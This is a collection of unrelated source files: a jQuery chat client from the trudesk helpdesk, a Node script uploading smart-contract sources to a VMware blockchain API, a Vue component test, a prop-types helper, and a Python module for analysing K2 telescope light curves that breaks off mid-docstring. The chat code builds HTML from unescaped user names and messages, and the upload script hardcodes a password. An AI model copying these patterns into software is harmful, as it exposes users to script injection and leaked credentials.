if (_.isFunction(complete)) {
return complete();
}
},
error: function (error) {
console.log('[trudesk:chat:bindActions] Error');
console.log(error);
helpers.UI.showSnackbar(error, true);
if (complete !== undefined && _.isFunction(complete)) {
return complete(error);
}
},
});
};
chatClient.getOpenWindows = function () {
socket.emit('getOpenChatWindows');
};
chatClient.openChatWindow = function (user, complete) {
var isOnMessagesPage = $('#__page').text().toLowerCase() === 'messages';
if (isOnMessagesPage) {
if (_.isFunction(complete)) {
return complete();
}
return true;
}
var loggedInAccountId = loggedInAccount._id;
if (_.isUndefined(loggedInAccountId)) {
return helpers.UI.showSnackbar('Unable to start chat', true);
}
startConversation(loggedInAccountId, user._id, function (err, convo) {
if (err) {
console.log('[trudesk:chat:openChatWindow] - Error');
console.log(err);
// return helpers.UI.showSnackbar('Unable to start chat', true);
}
var username = loggedInAccount.username;
if (user.username === username) return true;
var cWindow = $('.chat-box-position').find('.chat-box[data-chat-userid="' + user._id + '"]');
if (cWindow.length > 0) {
// loadChatMessages($('.chat-box-position').find('.chat-box[data-chat-userid="' + user._id + '"]'), convo.messages);
cWindow.find('textarea').focus();
helpers.scrollToBottom(cWindow.find('.chat-box-messages'));
return true;
}
var imageUrl = user.image;
if (_.isUndefined(imageUrl)) imageUrl = 'defaultProfile.jpg';
var userMeta =
convo.userMeta[
_.findIndex(convo.userMeta, function (item) {
return item.userId.toString() === loggedInAccountId.toString();
})
];
var html = '<div class="chat-box-position">';
html += '<div class="chat-box" data-conversation-id="' + convo._id + '" data-chat-userid="' + user._id + '">';
html += '<div class="chat-box-title">';
html += '<div class="chat-box-title-buttons right">';
html += '<a class="chatCloseBtn"><i class="material-icons material-icons-small">close</i></a>';
html += '</div>';
html += '<h4 class="chat-box-title-text-wrapper">';
html += '<a href="#">' + user.fullname + '</a>';
html += '</h4>';
html += '</div>';
html += '<div class="chat-box-messages scrollable">';
if (userMeta && userMeta.deletedAt) {
html +=
'<div class="chat-box-deletedAt">Conversation deleted at ' +
moment(userMeta.deletedAt).format(helpers.getShortDateFormat() + ' ' + helpers.getTimeFormat()) +
'</div>';
}
html += '<div class="chat-message-list" data-chat-userid="' + user._id + '">';
html += '</div>';
html += '<div class="user-is-typing-wrapper hide">';
html +=
'<div class="chat-user-profile"><a href="#"><img src="/uploads/users/' +
imageUrl +
'" alt="' +
user.fullname +
'"/></a></div>';
html += '<div class="user-is-typing"><div class="dot"></div><div class="dot"></div><div class="dot"></div></div>';
html += '</div>';
html += '</div>';
html += '<div class="chat-box-text">';
html += '<textarea class="textAreaAutogrow autogrow-short" name="message" rows="1"></textarea>';
html += '</div>';
html += '</div>';
html += '</div>';
$('.chat-box-wrapper').append(html);
$('.chat-box[data-chat-userid="' + user._id + '"] textarea').focus();
loadChatMessages($('.chat-box-position').find('.chat-box[data-chat-userid="' + user._id + '"]'), convo.messages);
helpers.hideAllpDropDowns();
helpers.setupScrollers('.chat-box[data-chat-userid="' + user._id + '"] > div.scrollable');
bindChatWindowActions(convo._id);
helpers.scrollToBottom($('.chat-box[data-chat-userid="' + user._id + '"]').find('.chat-box-messages'));
socket.emit('saveChatWindow', {
userId: loggedInAccountId,
convoId: convo._id,
remove: false,
});
// Fire when window is done loading
if (_.isFunction(complete)) {
return complete();
}
});
};
chatClient.setUserIdle = function () {
socket.emit('$trudesk:setUserIdle');
};
chatClient.setUserActive = function () {
socket.emit('$trudesk:setUserActive');
};
chatClient.updateOnlineBubbles = function () {
socket.emit('$trudesk:chat:updateOnlineBubbles');
};
function updateOnlineBubbles(usersOnline) {
$('span[data-user-status-id]').each(function () {
$(this).removeClass('user-online user-idle').addClass('user-offline');
});
var onlineUserList = usersOnline.sortedUserList;
var idleUserList = usersOnline.sortedIdleList;
_.each(onlineUserList, function (v) {
var $bubble = $('span[data-user-status-id="' + v.user._id + '"]');
$bubble.each(function () {
var self = $(this);
self.removeClass('user-offline user-idle').addClass('user-online');
});
});
_.each(idleUserList, function (v) {
var $bubble = $('span[data-user-status-id="' + v.user._id + '"]');
$bubble.each(function () {
var self = $(this);
self.removeClass('user-offline user-online').addClass('user-idle');
});
});
}
function createChatMessageDiv(message) {
var html = '<div class="chat-message chat-message-user uk-clearfix" data-chat-messageId="">';
html += '<div class="chat-text-wrapper">';
html += '<div class="chat-text chat-text-user">';
html += '<div class="chat-text-inner"><span>' + message.replace(/\n\r?/g, '<br>') + '</span>';
html += '</div></div></div></div>';
return html;
}
function createChatMessageFromUser(user, message) {
var imageUrl = user.image;
if (_.isUndefined(imageUrl)) imageUrl = 'defaultProfile.jpg';
var html = '<div class="chat-message uk-clearfix">';
html +=
'<div class="chat-user-profile"><a href="#"><img src="/uploads/users/' +
imageUrl +
'" alt="' +
user.fullname +
'"/></a></div>';
html += '<div class="chat-text-wrapper">';
html += '<div class="chat-text">';
html += '<div class="chat-text-inner">';
html += '<span>' + message.replace(/\n\r?/g, '<br>') + '</span>';
html += '</div>';
html += '</div>';
html += '</div>';
html += '</div>';
return html;
}
function chatBoxTextAreaGrowCallback(self, oldHeight, newHeight) {
if (oldHeight === newHeight) {
return true;
}
// var textAreaHeight = self.parent().outerHeight();
var messages = self.parent().siblings('.chat-box-messages');
messages.css({ 'min-height': '170px', 'max-height': '220px' });
self.parent().css({ 'max-height': '77px', 'min-height': '16px' });
if (newHeight < 80) {
messages.height(messages.height() - (newHeight - oldHeight));
}
// else
// messages.height(156);
messages.scrollTop(messages[0].scrollHeight);
}
return chatClient;
});
|
/*
* Copyright 2019 VMware, all rights reserved.
* This software is released under MIT license.
* The full license information can be found in LICENSE in the root directory of this project.
*/
const fs = require("fs");
const https = require("https");
const timestamp = new Date().getTime();
verifyMigrations();
verifyOrdersV1();
verifyOrdersProxy();
function verify(data, address) {
const username = '[email protected]';
const password = 'T3sting!';
const auth = 'Basic ' + Buffer.from(username + ':' + password).toString('base64');
const options = {
host: "mgmt.blockchain.vmware.com",
port: 443,
path: "/blockchains/0588a005-18cb-4335-8293-c315a03af1c0/api/concord/contracts/" + address,
method: "PUT",
headers: {
"Content-Type": "application/json",
"Authorization": auth
}
};
const req = https.request(options, (res) => {
console.log(`statusCode: ${res.statusCode}`);
});
req.on("error", (error) => {
console.error(error)
});
req.write(data);
req.end();
}
function verifyMigrations() {
const content = fs.readFileSync("./build/contracts/Migrations.json");
const sourcecode = fs.readFileSync("./contracts/Migrations.sol").toString();
const jsonContent = JSON.parse(content);
const address = jsonContent.networks[5000].address;
const data = JSON.stringify({
"contract_id": `Migrations-${timestamp}`,
"compiler_version": "v0.4.25+commit.59dbf8f1",
"sourcecode": sourcecode,
"contract_name": "Migrations",
"is_optimize": false,
"runs": "200"
});
verify(data, address);
}
function verifyOrdersV1() {
const content = fs.readFileSync("./build/contracts/OrdersV1.json");
// Generate this file with the command
// "truffle-flattener contracts/OrdersV1.sol > truffle-flattener/OrdersV1Flattened.sol"
const sourcecode = fs.readFileSync("./truffle-flattener/OrdersV1Flattened.sol").toString();
const jsonContent = JSON.parse(content);
const address = jsonContent.networks[5000].address;
const data = JSON.stringify({
"contract_id": `OrdersV1-${timestamp}`,
"compiler_version": "v0.4.25+commit.59dbf8f1",
"sourcecode": sourcecode,
"contract_name": "OrdersV1",
"is_optimize": false,
"runs": "200"
});
verify(data, address);
}
function verifyOrdersProxy() {
const content = fs.readFileSync("./build/contracts/OrdersProxy.json");
// Generate this file with the command
// "truffle-flattener contracts/OrdersProxy.sol > truffle-flattener/OrdersProxyFlattened.sol"
const sourcecode = fs.readFileSync("./truffle-flattener/OrdersProxyFlattened.sol").toString();
const jsonContent = JSON.parse(content);
const address = jsonContent.networks[5000].address;
const data = JSON.stringify({
"contract_id": `OrdersProxy-${timestamp}`,
"compiler_version": "v0.4.25+commit.59dbf8f1",
"sourcecode": sourcecode,
"contract_name": "OrdersProxy",
"is_optimize": false,
"runs": "200"
});
verify(data, address);
}
|
import { mount } from '@vue/test-utils';
jest.resetModules();
let text = '';
jest.mock('@/src/utils/clipboard', () => (arg) => text = arg);
// every component needs four parts: props/events/slots/functions.
describe('AnchorTarget', () => {
const { AnchorTarget } = require('@/src/anchor/index');
// test props api
describe('test copy', () => {
const wrapper = mount(AnchorTarget, {
propsData: {
id: 'test-target',
},
});
const a = wrapper.find('.t-icon-file-copy');
a.trigger('click');
expect(text).toEqual(`${location.href}#test-target`);
});
// test slots
describe('<slot>', () => {
it('should render default slot', async () => {
const wrapper = mount(AnchorTarget, {
propsData: {
id: 'test-target',
tag: 'h1',
},
slots: {
default: 'this is default slots',
},
});
expect(wrapper.html()).toMatchSnapshot();
});
});
});
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = requirePropFactory;
function requirePropFactory(componentNameInError) {
if (process.env.NODE_ENV === 'production') {
return function () {
return null;
};
}
var requireProp = function requireProp(requiredProp) {
return function (props, propName, componentName, location, propFullName) {
var propFullNameSafe = propFullName || propName;
if (typeof props[propName] !== 'undefined' && !props[requiredProp]) {
return new Error("The prop `".concat(propFullNameSafe, "` of ") + "`".concat(componentNameInError, "` must be used on `").concat(requiredProp, "`."));
}
return null;
};
};
return requireProp;
} |
# -*- coding: utf-8 -*-
r"""
Module for K2 tpf from MAST and light curves produced by EVEREST and K2SFF pipelines.
K2 is the base class inherited by Everest and K2sff classes
"""
# Import standard library
import os
from glob import glob
from pathlib import Path
from os.path import join, exists
from urllib.request import urlretrieve
import logging
import requests
# Import library
import numpy as np
import pandas as pd
import matplotlib.pyplot as pl
import astropy.units as u
from scipy.ndimage import zoom
import lightkurve as lk
from astropy.io import fits
from astropy.table import Table
from wotan import flatten
from astropy.wcs import WCS
from astropy.coordinates import SkyCoord
from astroquery.skyview import SkyView
from astroplan import FixedTarget
from astroplan.plots import plot_finder_image
from transitleastsquares import transitleastsquares
# Import from package
from chronos.config import DATA_PATH
from chronos.target import Target
from chronos.constants import K2_TIME_OFFSET, Kepler_pix_scale
from chronos.plot import plot_tls, plot_odd_even
from chronos.utils import (
detrend,
get_all_campaigns,
get_transit_mask,
get_fluxes_within_mask,
PadWithZeros,
get_secondary_eclipse_threshold,
)
pl.style.use("default")
log = logging.getLogger(__name__)
__all__ = ["K2", "Everest", "K2sff"]
class _KeplerLightCurve(lk.KeplerLightCurve):
"""augments parent class by adding convenience methods"""
def detrend(self, polyorder=1, break_tolerance=None):
lc = self.copy()
half = lc.time.shape[0] // 2
if half % 2 == 0:
# add 1 if even
half += 1
return lc.flatten(
window_length=half,
polyorder=polyorder,
break_tolerance=break_tolerance,
)
class K2(Target):
"""
sap and pdcsap
"""
def __init__(
self,
k2id=None,
epicid=None,
campaign=None,
gaiaDR2id=None,
name=None,
ra_deg=None,
dec_deg=None,
search_radius=3,
quality_bitmask="default",
verbose=True,
clobber=True,
sap_mask="square",
aper_radius=1, # added for custom lc
threshold_sigma=5, #
percentile=95, #
cutout_size=(15, 15), #
):
super().__init__(
epicid=epicid,
gaiaDR2id=gaiaDR2id,
name=name,
ra_deg=ra_deg,
dec_deg=dec_deg,
search_radius=search_radius,
verbose=verbose,
clobber=clobber,
mission="k2",
)
self.k2id = k2id
if self.epicid is None:
# epicid is initialized in Target if name has EPIC
self.epicid = epicid
self.quality_bitmask = quality_bitmask
self.campaign = campaign
self.tpf = None
self.lc_raw = None
self.lc_custom = None
self.lcf = None
self.all_campaigns = get_all_campaigns(self.epicid)
if self.campaign is None:
self.campaign = self.all_campaigns[0]
if self.verbose:
print(f"Available campaigns: {self.all_campaigns}")
print(f"Using campaign={self.campaign}.")
self.k2_params = None
self.sap_mask = sap_mask # added for custom lc
self.aper_mask = None #
self.aper_radius = aper_radius #
self.percentile = percentile #
self.threshold_sigma = threshold_sigma #
# self.cutout_size = cutout_size #
self.tls_results = None
# if self.verbose:
# print(f"Target: {name}")
self.K2_star_params = None
self.best_aper_mask = None
self.contratio = None
_ = self._get_lc()
def get_tpf(self, campaign=None):
"""
FIXME: refactor to tpf.py?
"""
if campaign is None:
campaign = self.campaign
assert campaign in self.all_campaigns
res = lk.search_targetpixelfile(
f"EPIC {self.epicid}", campaign=campaign, mission="K2"
)
tpf = res.download()
self.tpf = tpf
return tpf
def _get_lc(self, lctype="pdcsap", campaign=None, quality_bitmask=None):
"""
FIXME: refactor to lightcurve.py?
"""
campaign = campaign if campaign is not None else self.campaign
quality_bitmask = (
quality_bitmask
if quality_bitmask is not None
else self.quality_bitmask
)
if self.lcf is not None:
# reload lcf if already in memory
if self.lcf.campaign == campaign:
lcf = self.lcf
else:
query_str = (
f"EPIC {self.epicid}" if self.epicid else self.target_coord
)
if self.verbose:
print(
f"Searching lightcurvefile for {query_str} (campaign {campaign})"
)
q = lk.search_lightcurvefile(
query_str, campaign=campaign, mission="K2"
)
if len(q) == 0:
if self.verbose:
print(
f"Searching lightcurvefile for {self.target_coord.to_string()} (campaign {campaign})"
)
q = lk.search_lightcurvefile(
self.target_coord, campaign=campaign, mission="K2"
)
assert q is not None, "Empty result. Check long cadence."
if self.verbose:
print(f"Found {len(q)} lightcurves")
if (campaign == "all") & (len(self.all_campaigns) > 1):
NotImplementedError
# lcf = q.download_all(quality_bitmask=quality_bitmask)
else:
lcf = q.download(quality_bitmask=quality_bitmask)
self.lcf = lcf
else:
query_str = (
f"EPIC {self.epicid}" if self.epicid else self.target_coord
)
if self.verbose:
print(
f"Searching lightcurvefile for {query_str} (campaign {campaign})"
)
q = lk.search_lightcurvefile(
query_str, campaign=campaign, mission="K2"
)
if len(q) == 0:
if self.verbose:
print(
f"Searching lightcurvefile for ra,dec=({self.target_coord.to_string()}) (campaign {campaign})"
)
q = lk.search_lightcurvefile(
self.target_coord, campaign=campaign, mission="K2"
)
assert q is not None, "Empty result. Check long cadence."
if self.verbose:
print(f"Found {len(q)} lightcurves")
if (campaign == "all") & (len(self.all_campaigns) > 1):
NotImplementedError
# lcf = q.download_all(quality_bitmask=quality_bitmask)
else:
lcf = q.download(quality_bitmask=quality_bitmask)
self.lcf = lcf
assert lcf is not None, "Empty result. Check long cadence."
sap = lcf.SAP_FLUX
pdcsap = lcf.PDCSAP_FLUX
if isinstance(lcf, lk.LightCurveFileCollection):
# merge multi-campaign into one lc
if len(lcf) > 1:
sap0 = sap[0].normalize()
sap = [sap0.append(l.normalize()) for l in sap[1:]][0]
pdcsap0 = pdcsap[0].normalize()
pdcsap = [pdcsap0.append(l.normalize()) for l in pdcsap[1:]][0]
else:
raise ValueError(
f"Only campaign {lcf[0].campaign} (in {self.all_campaigns}) is available"
)
self.lc_sap = sap
self.lc_pdcsap = pdcsap
if lctype == "pdcsap":
# add detrend method to lc instance
pdcsap.detrend = lambda: detrend(pdcsap)
return pdcsap.remove_nans().normalize()
else:
sap.detrend = lambda: detrend(sap)
return sap.remove_nans().normalize()
def make_custom_lc(
self,
sap_mask=None,
aper_radius=None,
percentile=None,
threshold_sigma=None,
use_pld=True,
):
raise NotImplementedError
# lc = tpf.to_lightcurve()
def get_flat_lc(
self,
lc,
period=None,
epoch=None,
duration=None,
window_length=None,
method="biweight",
sigma_upper=None,
sigma_lower=None,
return_trend=False,
):
"""
"""
if duration is not None:
if duration < 1:
print("Duration should be in hours.")
if window_length is None:
window_length = 0.5 if duration is None else duration / 24 * 3
if self.verbose:
print(
f"Using {method} filter with window_length={window_length:.2f} day"
)
if (period is not None) & (epoch is not None) & (duration is not None):
tmask = get_transit_mask(
lc.time, period=period, t0=epoch, dur=duration / 24
)
else:
tmask = np.zeros_like(lc.time, dtype=bool)
# dummy holder
flat, trend = lc.flatten(return_trend=True)
# flatten using wotan
wflat, wtrend = flatten(
lc.time,
lc.flux,
method=method,
window_length=window_length,
mask=tmask,
return_trend=True,
)
# overwrite
flat.flux = wflat
trend.flux = wtrend
# clean lc
sigma_upper = 5 if sigma_upper is None else sigma_upper
sigma_lower = 10 if sigma_lower is None else sigma_lower
flat = flat.remove_nans().remove_outliers(
sigma_upper=sigma_upper, sigma_lower=sigma_lower
)
if return_trend:
return flat, trend
else:
return flat
def plot_trend_flat_lcs(
self, lc, period, epoch, duration, binsize=10, **kwargs
):
"""
plot trend and falt lightcurves (uses TOI ephemeris by default)
"""
if duration < 1:
print("Duration should be in hours.")
assert (
(period is not None) & (epoch is not None) & (duration is not None)
)
if self.verbose:
print(
f"Using period={period:.4f} d, epoch={epoch:.2f} BTJD, duration={duration:.2f} hr"
)
fig, axs = pl.subplots(
2, 1, figsize=(12, 10), constrained_layout=True, sharex=True
)
if (period is not None) & (epoch is not None) & (duration is not None):
tmask = get_transit_mask(
lc.time, period=period, t0=epoch, dur=duration / 24
)
else:
tmask = np.zeros_like(lc.time, dtype=bool)
ax = axs.flatten()
flat, trend = self.get_flat_lc(
lc, period=period, duration=duration, return_trend=True, **kwargs
)
lc[tmask].scatter(ax=ax[0], c="r", zorder=5, label="transit")
if np.any(tmask):
lc[~tmask].scatter(ax=ax[0], c="k", alpha=0.5, label="_nolegend_")
ax[0].set_title(f"{self.target_name} (campaign {lc.campaign})")
ax[0].set_xlabel("")
trend.plot(ax=ax[0], c="b", lw=2, label="trend")
if (period is not None) & (epoch is not None) & (duration is not None):
tmask2 = get_transit_mask(
flat.time, period=period, t0=epoch, dur=duration / 24
)
else:
tmask2 = np.zeros_like(lc.time, dtype=bool)
flat.scatter(ax=ax[1], c="k", alpha=0.5, label="flat")
if np.any(tmask2):
flat[tmask2].scatter(
ax=ax[1], zorder=5, c="r", s=10, label="transit"
)
flat.bin(binsize).scatter(
ax=ax[1], s=10, c="C1", label=f"bin ({binsize})"
)
fig.subplots_adjust(hspace=0)
return fig
def run_tls(self, flat, plot=True, **tls_kwargs):
"""
"""
tls = transitleastsquares(t=flat.time, y=flat.flux, dy=flat.flux_err)
tls_results = tls.power(**tls_kwargs)
self.tls_results = tls_results
if plot:
fig = plot_tls(tls_results)
fig.axes[0].set_title(
f"{self.target_name} (campaign {flat.campaign})"
)
return fig
def plot_fold_lc(
self, flat, period, epoch, duration=None, binsize=10, ax=None
):
"""
plot folded lightcurve (uses TOI ephemeris by default)
"""
if ax is None:
fig, ax = pl.subplots(figsize=(12, 8))
errmsg = "Provide period and epoch."
assert (period is not None) & (epoch is not None), errmsg
fold = flat.fold(period=period, t0=epoch)
fold.scatter(ax=ax, c="k", alpha=0.5, label="folded")
fold.bin(binsize).scatter(
ax=ax, s=20, c="C1", label=f"bin ({binsize})"
)
if duration is None:
if self.tls_results is not None:
duration = self.tls_results.duration
if duration is not None:
xlim = 3 * duration / period
ax.set_xlim(-xlim, xlim)
ax.set_title(f"{self.target_name} (campaign {flat.campaign})")
return ax
def plot_odd_even(self, flat, period, epoch, ylim=None):
"""
"""
if (period is None) or (epoch is None):
if self.tls_results is None:
print("Running TLS")
_ = self.run_tls(flat, plot=False)
period = self.tls_results.period
epoch = self.tls_results.T0
ylim = self.tls_results.depth if ylim is None else ylim
if ylim is None:
ylim = 1 - self.toi_depth
fig = plot_odd_even(flat, period=period, epoch=epoch, yline=ylim)
fig.suptitle(f"{self.target_name} (campaign {flat.campaign})")
return fig
def get_transit_mask(self, lc, period, epoch, duration_hours):
"""
"""
tmask = get_transit_mask(
lc.time, period=period, t0=epoch, dur=duration_hours / 24
)
return tmask
def plot_gaia_sources_on_survey(
self,
gaia_sources=None,
aper_mask=None,
fov_rad=None,
depth=0.0,
kmax=1.0,
survey="DSS2 Red",
ax=None,
figsize=None,
color_aper="C0",
):
"""Plot (superpose) Gaia sources on archival image
Parameters
----------
gaia_sources : pd.DataFrame
gaia sources table
aper_mask : array
aperture mask (uses pipeline mask if None)
fov_rad : astropy.unit
FOV radius
survey : str
image survey; see from astroquery.skyview import SkyView;
SkyView.list_surveys()
ax : axis
subplot axis
Returns
-------
ax : axis
subplot axis
"""
if aper_mask is None:
if self.best_aper_mask is None:
errmsg = "Use either `Everest` or `K2sff` class\n."
# errmsg = "Else, provide `aper_mask`.\n"
# errmsg += "Try: `tpf = self.get_tpf(); aper_mask = tpf.pipeline_mask`"
raise ValueError(errmsg)
else:
aper_mask = self.best_aper_mask
if self.tpf is None:
tpf = self.get_tpf()
else:
tpf = self.tpf
ny, nx = tpf.flux.shape[1:]
if fov_rad is None:
diag = np.sqrt(nx ** 2 + ny ** 2)
fov_rad = (diag * Kepler_pix_scale).to(u.arcsec).round(0)
if gaia_sources is None:
gaia_sources = self.query_gaia_dr2_catalog(radius=fov_rad.value)
assert len(gaia_sources) > 1, "gaia_sources contains single entry"
if self.gaiaid is None:
# _ = self.query_gaia_dr2_catalog(return_nearest_xmatch=True)
target_gaiaid = gaia_sources.loc[0, "source_id"]
else:
target_gaiaid = self.gaiaid
# make aperture mask
# maskhdr = tpf.hdu[2].header # self.k2sff_header
# make aperture mask outline
contour = np.zeros((ny, nx))
contour[np.where(aper_mask)] = 1
contour = np.lib.pad(contour, 1, PadWithZeros)
highres = zoom(contour, 100, order=0, mode="nearest")
# extent = np.array([-1, nx, -1, ny])
# if self.epicid == 212428509:
# import pdb
# pdb.set_trace()
if self.verbose:
print(
f"Querying {survey} ({fov_rad:.2f} x {fov_rad:.2f}) archival image"
)
# -----------create figure---------------#
if ax is None:
# get img hdu for subplot projection
results = SkyView.get_images(
position=self.target_coord.icrs.to_string(),
coordinates="icrs",
survey=survey,
radius=fov_rad,
grid=False,
)
if len(results) > 0:
hdu = results[0][0]
else:
errmsg = (
"SkyView returned empty result. Try a different survey."
)
raise ValueError(errmsg)
# create figure with subplot projection
fig = pl.figure(figsize=figsize)
ax = fig.add_subplot(111, projection=WCS(hdu.header))
# plot survey img
# FIXME: SkyView throws error when self.target_coord.distance=nan
coord = SkyCoord(ra=self.target_coord.ra, dec=self.target_coord.dec)
fixed_target = FixedTarget(coord, name=self.target_name)
nax, hdu = plot_finder_image(
fixed_target,
ax=ax,
fov_radius=fov_rad,
survey=survey,
reticle=False,
)
imgwcs = WCS(hdu.header)
mx, my = hdu.data.shape
# # make aperture mask outline
# contour = np.zeros((my, mx))
# contour[np.where(aper_mask)] = 1
# contour = np.lib.pad(contour, 1, PadWithZeros)
# highres = zoom(contour, 100, order=0, mode="nearest")
extent = np.array([-1, mx, -1, my])
# plot mask
_ = ax.contour(
highres,
levels=[0.5],
extent=extent,
origin="lower",
colors=color_aper,
transform=ax.get_transform(imgwcs),
)
idx = gaia_sources["source_id"].astype(int).isin([target_gaiaid])
target_gmag = gaia_sources.loc[idx, "phot_g_mean_mag"].values[0]
for _, row in gaia_sources.iterrows():
marker, s = "o", 100
r, d, mag, id = row[["ra", "dec", "phot_g_mean_mag", "source_id"]]
pix = imgwcs.all_world2pix(np.c_[r, d], 1)[0]
if int(id) != int(target_gaiaid):
gamma = 1 + 10 ** (0.4 * (mag - target_gmag))
if depth > kmax / gamma:
# too deep to have originated from secondary star
edgecolor = "C1"
alpha = 1 # 0.5
else:
# possible NEBs
edgecolor = "C3"
alpha = 1
else:
s = 200
edgecolor = "C2"
marker = "s"
alpha = 1
nax.scatter(
pix[0],
pix[1],
marker=marker,
s=s,
edgecolor=edgecolor,
alpha=alpha,
facecolor="none",
)
# orient such that north is up; left is east
ax.invert_yaxis()
if hasattr(ax, "coords"):
ax.coords[0].set_major_formatter("dd:mm")
ax.coords[1].set_major_formatter("dd:mm")
# set img limits
pl.setp(
nax,
xlim=(0, mx),
ylim=(0, my),
title=self.target_name
# title="{0} ({1:.2f}' x {1:.2f}')".format(survey, fov_rad.value),
)
return ax
def get_K2_star_params(self):
"""
"""
if self.K2_star_params is None:
fp = Path(DATA_PATH, "apjsab7230t1_mrt.txt")
if not fp.exists():
get_K2_star_data()
tab = Table.read(fp, format="ascii")
df = tab.to_pandas()
self.K2_star_params = df
else:
df = self.K2_star_params
q = df.query(f"EPIC=={self.epicid}")
if len(q) > 1:
return q.iloc[0]
else:
return q
def get_contratio(self, aper_mask=None, radius=60):
# compute Contamination
if aper_mask is None:
aper_mask = self.tpf.pipeline_mask
else:
aper_mask = self.best_aper_mask
if aper_mask is None:
raise ValueError("supply `aper_mask`")
# if self.gaia_sources is None:
# gaia_sources = self.query_gaia_dr2_catalog(radius=radius)
# else:
# gaia_sources = self.gaia_sources
gaia_sources = self.query_gaia_dr2_catalog(radius=radius)
fluxes = get_fluxes_within_mask(self.tpf, aper_mask, gaia_sources)
if sum(fluxes) > 1:
contratio = sum(fluxes) - 1
else:
# raise ValueError('No stars within aperture?')
contratio = 1
self.contratio = contratio
return contratio
@property
def K2_Rstar(self):
q = self.get_K2_star_params()
return q.Rstar
@property
def K2_Rstar_errs(self):
q = self.get_K2_star_params()
return q[["e_Rstar", "E_Rstar"]]
@property
def K2_Mstar(self):
q = self.get_K2_star_params()
return q.Mstar
@property
def K2_Mstar_errs(self):
q = self.get_K2_star_params()
return q[["e_Mstar", "E_Mstar"]]
@staticmethod
def plot_k2_campaign_fov(
campaign, figsize=(8, 5), ax=None, color="k", text_offset=0
):
"""
plot FOV of a given K2 campaign
"""
footprint_dict = get_K2_campaign_fov()
if ax is None:
fig, ax = pl.subplots(1, 1, figsize=figsize)
channels = footprint_dict[f"c{campaign}"]["channels"]
for c in channels.keys():
channel = channels[c]
x = channel["corners_ra"] + channel["corners_ra"][:1]
y = channel["corners_dec"] + channel["corners_dec"][:1]
ax.plot(x, y, color=color)
ax.annotate(
campaign,
(x[0] + text_offset, y[0] + text_offset),
color=color,
fontsize=20,
)
ax.set_xlabel("RA [deg]")
ax.set_ylabel("DEC [deg]")
return ax
@staticmethod
def get_lightcurves(
epicid,
pipeline="everest",
campaigns=None,
remove_outliers=False,
quality_bitmask=None,
):
"""
download all lightcurves in the given campaigns
"""
if campaigns is None:
all_camps = get_all_campaigns(epicid)
else:
all_camps = campaigns
print(f"Retrieving {pipeline} light curves.")
for n, camp in enumerate(all_camps):
if pipeline == "everest":
l = Everest(epicid=epicid, campaign=camp, verbose=False)
lc = l.lc_everest
elif pipeline == "k2sff":
l = K2sff(epicid=epicid, campaign=camp, verbose=False)
lc = l.lc_k2sff
elif (pipeline == "pdcsap") | (pipeline == "sap"):
l = K2(epicid=epicid, campaign=camp, verbose=False)
if pipeline == "pdcsap":
lc = l.lc_pdcsap
else:
lc = l.lc_sap
else:
pipelines = "sap, pdcsap, everest, k2sff"
raise ValueError(f"`pipeline` not in {pipelines}")
if quality_bitmask == "hard":
lc = lc[(lc.quality == 0) | (np.isnan(lc.quality))]
if remove_outliers:
lc, mask = lc.remove_outliers(
sigma_upper=3, sigma_lower=10, return_mask=True
)
if n == 0:
lcs = lc.copy()
else:
lcs = lcs.append(lc)
print(
f"{camp}: cdpp={lc.estimate_cdpp():.2f}, std={lc.flux.std():.2f}"
)
lcs.campaign = all_camps
return lcs
@staticmethod
def plot_everest_k2sff_comparison(
epicid,
campaign=None,
quality_bitmask=None,
nbin=1,
sigma_upper=5,
sigma_lower=10,
C1="C0",
C2="C1",
ax=None,
):
"""
compare light curves from everest and k2sff pipelines
"""
if campaign == "all":
camps = get_all_campaigns(epicid)
camp_label = "C".join([str(c) for c in camps])
# everest
print("EVEREST lc cdpp:")
for n, camp in enumerate(camps):
e = Everest(epicid=epicid, campaign=camp, verbose=False)
l = e.lc_everest.remove_outliers(
sigma_upper=sigma_upper, sigma_lower=sigma_lower
)
if quality_bitmask == "hard":
l = l[(l.quality == 0) | (np.isnan(l.quality))]
if n == 0:
lc = l.copy()
else:
lc = lc.append(l)
print(f"C{camp}: {lc.estimate_cdpp():.2f}")
lc = lc.bin(nbin)
# k2sff
print("K2SFF lc cdpp:")
for n, camp in enumerate(camps):
k = K2sff(epicid=epicid, campaign=camp, verbose=False)
l = k.lc_k2sff.remove_outliers(sigma_lower=10) # by eye
if quality_bitmask == "hard":
l = l[(l.quality == 0) | (np.isnan(l.quality))]
if n == 0:
lc2 = l.copy()
else:
lc2 = lc.append(l)
print(f"C{camp}: {lc.estimate_cdpp():.2f}")
lc2 = lc2.bin(nbin)
else:
e = Everest(epicid=epicid, campaign=campaign, verbose=False)
lc = e.lc_everest.remove_outliers(
sigma_upper=sigma_upper, sigma_lower=sigma_lower
)
if quality_bitmask == "hard":
lc = lc[(lc.quality == 0) | (np.isnan(lc.quality))]
print("EVEREST lc cdpp:")
print(f"C{lc.campaign}: {lc.estimate_cdpp():.2f}")
k = K2sff(epicid=epicid, campaign=campaign, verbose=False)
lc2 = k.lc_k2sff.remove_outliers(
sigma_upper=sigma_upper, sigma_lower=sigma_lower
)
if quality_bitmask == "hard":
lc2 = lc2[(lc2.quality == 0) | (np.isnan(lc2.quality))]
print("K2SFF lc cdpp:")
print(f"C{lc2.campaign}: {lc2.estimate_cdpp():.2f}")
camp_label = lc2.campaign
if ax is None:
ax = lc.scatter(label="everest")
else:
_ = lc.scatter(ax=ax, label="everest")
lc2.scatter(label="k2sff", ax=ax)
ax.set_title(f"EPIC {epicid} (C{camp_label})")
return ax
class Everest(K2):
"""
EVEREST pipeline
"""
def __init__(
self,
k2id=None,
epicid=None,
campaign=None,
gaiaDR2id=None,
name=None,
ra_deg=None,
dec_deg=None,
quality_bitmask="default",
verbose=True,
flux_type="flux", # or fcor
):
super().__init__(
epicid=epicid,
campaign=campaign,
gaiaDR2id=gaiaDR2id,
name=name,
ra_deg=ra_deg,
dec_deg=dec_deg,
verbose=verbose,
)
"""Attributes
----------
"""
self.flux_type = flux_type.upper()
url, filename = self.get_everest_url_and_fn()
self.url = url
self.filename = filename
self.quality = None
self.cadenceno = None
self.everest_best_aper_mask = None
self.everest_best_aper_mask_hdr = None
self.hires_img = None
self.hires_img_hdr = None
self.everest_recarray = None
self.lc_everest = self.get_everest_lc()
if self.lc_everest.campaign is None:
self.lc_everest.campaign = self.campaign
def get_everest_url_and_fn(self, campaign=None):
"""
Note: uses pipeline version 2:
fits url e.g.
